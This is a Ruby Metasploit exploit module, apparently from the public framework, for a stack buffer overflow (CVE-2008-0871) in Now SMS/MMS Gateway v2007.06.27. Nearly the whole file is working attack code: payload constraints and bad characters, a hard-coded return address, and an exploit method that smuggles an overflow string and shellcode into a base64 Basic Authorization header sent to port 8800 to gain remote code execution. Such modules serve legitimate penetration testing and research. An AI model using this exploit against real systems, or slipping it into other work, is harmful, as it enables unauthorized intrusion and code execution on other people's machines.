##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Now SMS/MMS Gateway Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Now SMS/MMS Gateway v2007.06.27.
        By sending a specially crafted GET request, an attacker may be able to execute
        arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-0871' ],
          [ 'OSVDB', '42953'],
          [ 'BID', '27896' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 0x94,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Now SMS/MMS Gateway v2007.06.27', { 'Ret' => 0x10002f9d } ], # CALL ESP : SMSHMAC.DLL
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2008-02-19'))

    register_options( [ Opt::RPORT(8800) ])
  end

  def exploit
    c = connect

    data = Rex::Text.encode_base64(rand_text_english(129) + [target.ret].pack('V') + payload.encoded)

    print_status("Trying target #{target.name}...")

    res = send_request_raw({
        'uri'          => '/',
        'method'       => 'GET',
        'headers'      =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(data)}"
        }
      }, 5)

    handler
  end
end
